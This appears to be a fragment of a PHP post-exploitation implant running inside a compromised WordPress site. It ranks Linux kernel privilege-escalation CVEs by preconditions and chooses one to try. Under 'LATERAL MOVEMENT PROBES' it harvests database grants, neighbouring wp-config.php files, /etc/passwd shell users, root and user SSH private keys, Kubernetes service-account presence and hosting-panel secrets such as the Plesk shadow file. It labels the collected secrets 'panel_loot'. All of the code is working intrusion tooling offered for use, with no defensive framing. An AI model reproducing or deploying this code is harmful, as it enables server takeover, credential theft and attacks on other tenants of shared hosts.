 // 9 nf_tables CVE-2026-23111 — catchall maps only exist 5.13+; upstream patch 2026-02-05;
 // distros lagged (FuzzingLabs April PoC worked on Ubuntu) — wide vendor window
 $rng=$k?w2s_kge($k,5,13):null;
 $pre=$un;
 $M['nf_tables_cve_2026_23111']=$V($rng,strtotime('2026-02-05'),strtotime('2026-05-06'),$pre,'needs userns + nftables; >99% Exodus chain');
 // 10 PinTheft CVE-2026-43494 — rds + io_uring + >=6.13, patch~2026-05-22
 $rng=$k?w2s_kge($k,6,13):null;
 $iour=!isset($ks['io_uring_disabled'])||$ks['io_uring_disabled']===0;
 $pre=in_array('rds',$mods)&&$iour;
 $M['pintheft_cve_2026_43494']=$V($rng,strtotime('2026-05-22'),strtotime('2026-06-26'),$pre,'needs rds loaded (Arch default only) + io_uring');
 // 11 DirtyDecrypt CVE-2026-31635 — CONFIG_RXGK, 6.10..6.13, patch~2026-04-26
 $rng=$k?(w2s_kge($k,6,10)&&w2s_klt($k,6,14)):null;
 $pre=!empty($ks['rxgk_symbols']);
 $M['dirtydecrypt_cve_2026_31635']=$V($rng,strtotime('2026-04-26'),strtotime('2026-05-17'),$pre,'needs CONFIG_RXGK (Fedora/Arch/Tumbleweed only)');
 // recommended = first go in ranked order
 $rec=null;
 foreach(array('copyfail_cve_2026_31431','ghostlock_cve_2026_43499','bad_epoll_cve_2026_46242','fragnesia_cve_2026_46300','dirtyfrag_cve_2026_43284_43500','ptrace_race_cve_2026_46333','dirtyclone_cve_2026_43503','pedit_cow_cve_2026_46331','nf_tables_cve_2026_23111','pintheft_cve_2026_43494','dirtydecrypt_cve_2026_31635')as$key)
  if($M[$key][0]==='go'){$rec=$key;break;}
 return array('verdicts'=>$M,'recommended'=>$rec);
}

// ── LATERAL MOVEMENT PROBES ──
$G=array();
$_gr=@$W->get_results("SHOW GRANTS",ARRAY_A);
if(is_array($_gr))foreach($_gr as$r){$v=reset($r);if($v)$G[]=$v;}
$DBS=array();
$_ds=@$W->get_col("SHOW DATABASES");
if(is_array($_ds))$DBS=$_ds;

$NC=array();
$d=__DIR__;
for($i=0;$i<5;$i++){
 $d=dirname($d);
 $p="$d/wp-config.php";
 if(@is_file($p)&&@is_readable($p))$NC[]=$p;
}

$PW=array();
$_pw=@file_get_contents('/etc/passwd');
if($_pw){
 foreach(explode("\n",$_pw)as$l){
  $parts=explode(':',$l);
  if(count($parts)>=7&&$parts[6]&&$parts[6]!=='/bin/nologin'&&$parts[6]!=='/usr/sbin/nologin'&&$parts[6]!=='/bin/false')
   $PW[]=$parts[0].':'.$parts[6];
 }
 $PW=array_slice($PW,0,50);
}

$SK=array();
$_home=array('/root/.ssh/id_rsa','/root/.ssh/id_ed25519');
if(!empty($o['priv']['user_login'])){
 $h=dirname($_SERVER['DOCUMENT_ROOT']??'/');
 $_home[]=$h.'/.ssh/id_rsa';
}
foreach($_home as$p){
 $c=@file_get_contents($p);
 if($c&&strpos($c,'PRIVATE KEY')!==false)$SK[]=array('path'=>$p,'key'=>substr($c,0,512));
}

$CTN='';
if(@file_exists('/.dockerenv'))$CTN='docker';
$_cg=@file_get_contents('/proc/1/cgroup');
if($_cg){
 if(strpos($_cg,'kubepods')!==false)$CTN.=$CTN?'+k8s':'k8s';
 elseif(strpos($_cg,'docker')!==false||strpos($_cg,'containerd')!==false)$CTN=$CTN?:'container';
}
if(@is_dir('/var/run/secrets/kubernetes.io/serviceaccount'))$CTN.=$CTN?'+k8s-sa':'k8s-sa';

$PN='';
foreach(array(
 'cpanel'=>'/usr/local/cpanel','plesk'=>'/usr/local/psa','plesk-opt'=>'/opt/psa',
 'directadmin'=>'/usr/local/directadmin','virtualmin'=>'/usr/share/webmin',
 'cyberpanel'=>'/usr/local/CyberPanel','hestiacp'=>'/usr/local/hestia',
 'ispconfig'=>'/usr/local/ispconfig','aapanel'=>'/www/server/panel',
 'cloudpanel'=>'/etc/cloudpanel','runcloud'=>'/etc/runcloud',
)as$n=>$p)
 if(@is_dir($p))$PN=$PN?'+'.$n:$n;

$HP='';
if(function_exists('is_wpe')&&@is_wpe()==="1")$HP='wpengine';
elseif(getenv('PANTHEON_ENVIRONMENT'))$HP='pantheon';
elseif(getenv('KINSTA_SITE_ID'))$HP='kinsta';
elseif(getenv('PRESSABLE_FILE_PLUGIN'))$HP='pressable';
elseif(function_exists('is_atomic_platform')&&@is_atomic_platform())$HP='wpcom';
elseif(getenv('CW_ENV'))$HP='cloudways';
elseif(getenv('WPE_PLUGIN_HOST'))$HP='wpengine';
elseif(getenv('SG_PUBLIC'))$HP='siteground';

$R=array();
if(function_exists('rest_get_server')){
 try{$_rs=rest_get_server();$_rt=$_rs?$_rs->get_routes():array();
  if(is_array($_rt))$R=array_slice(array_keys($_rt),0,200);}catch(\Throwable $e){}
}
$K=array();
if(function_exists('_get_cron_array'))
 try{foreach(_get_cron_array()as$ts=>$hooks)
  if(is_array($hooks))foreach($hooks as$hook=>$j){$K[]=array('ts'=>$ts,'hook'=>$hook);if(count($K)>=100)break 2;}}catch(\Throwable $e){}

$PL=array();
if(strpos($PN,'cpanel')!==false)$PL['cpanel_users']=@scandir('/var/cpanel/users/')?:array();
if(strpos($PN,'plesk')!==false)$PL['psa_shadow']=@file_get_contents('/etc/psa/.psa.shadow')?:'';
if(strpos($PN,'directadmin')!==false)$PL['da_users']=@scandir('/usr/local/directadmin/data/users/')?:array();

$_KSA=w2s_kernel_sa();
$o['kernel_sa']=$_KSA;
$o['lpe_matrix']=w2s_lpe_matrix($_KSA);

$o['lateral']=array(
 'grants'=>$G,'databases'=>$DBS,'neighbor_configs'=>$NC,'shell_users'=>$PW,
 'ssh_keys'=>$SK,'container'=>$CTN,'panel'=>$PN,'managed_host'=>$HP,
 'rest_routes'=>$R,'cron'=>$K,'panel_loot'=>$PL,
);
$w2s_done=true;
_r($o);